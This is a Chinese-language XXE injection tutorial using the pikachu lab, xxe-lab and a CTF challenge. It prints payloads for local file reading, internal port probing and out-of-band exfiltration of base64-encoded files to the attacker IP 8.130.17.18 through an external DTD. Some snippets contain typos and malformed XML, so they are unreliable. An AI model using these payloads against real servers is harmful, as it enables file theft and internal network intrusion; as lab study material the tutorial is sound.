xml基础概念
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
xml示例
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档时note类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
各各语言对应支持的协议
演示案例
pikachu靶场XML
文件读取协议
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
在此处复制xxe文件读取的poc
点击提交,读取d盘下名为test.txt的文件内容
内网探针或攻击内网应用
<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTYTY rabbit SYSTEM "http://192.168.1.4:80/index.txt">
]>
<x>&rabbit;</x>
上面的ip地址假设就是内网的一台服务器的ip地址,提交后当存在此ip以及端口文件则不会报错。还可以进行一个端口扫描,看一下端口是否开放。
引入外部实体DTD
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://8.130.17.18/evil2.dtd">
%file;
]>
<x>&send;</x>
//下面的是写入文件的
evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt">
让对方服务器去访问外部的dtd文件。
可以让对方服务器去访问自己服务器上的dtd文件(自己服务器上的dtd文件根据需要自定义内容),从而到达读取等各种攻击。
条件:
看对方的应用有没有禁用外部实体引用,这也是防御XXE的一种措施。
无回显-读取文件
<?xml version = "1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://8.130.17.18/test.dtd">
%dtd;
%send;
]>
test.dtd://自己test.dtd文件的内容
<!ENTITY % payload
"<!ENTITY % send SYSTEM
'http://8.130.17.18/b.php?data=%file;'>"
>
%payload;
上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
解析:
1.通过php的filter协议读取d:/test.txt的文件内容赋值给变量%file
2.让对方服务器远程去访问自己服务器上的dtd文件
3.对方服务器访问到自己服务器的dtd文件后,让它通过get方式带着%file参数去访问自己服务器别的文件
4.通过日志文件查看get参数接收的值,进行base64解密
xxe绕过
https://www.cnblogs.com/20175211lyz/p/11413335.html
XXE漏洞靶场
https://github.com/c0ny1/xxe-lab
首先通过burp进行抓包,发现均为xml传输的特征(开头图片上有写特征)
或者通过burp右键对网站进行简单的爬取
在爬取的结果中搜索xml关键字搜索出很多处数据包发送类型都是xml
发送到Repeater进行测试
写入payload进行测试,读取d盘下test.txt文件内容
如何发XXE漏洞:
在爬完后,通过搜索xml关键字,查看数据包,发现有通过xml进行传输数据的地方,修改payload提交进行测试。
CTF-Jarvis-OJ-Web-XXE(CTF题)
通过抓包发现数据的传输方式是json
更改类型为xml,并写入payload
提交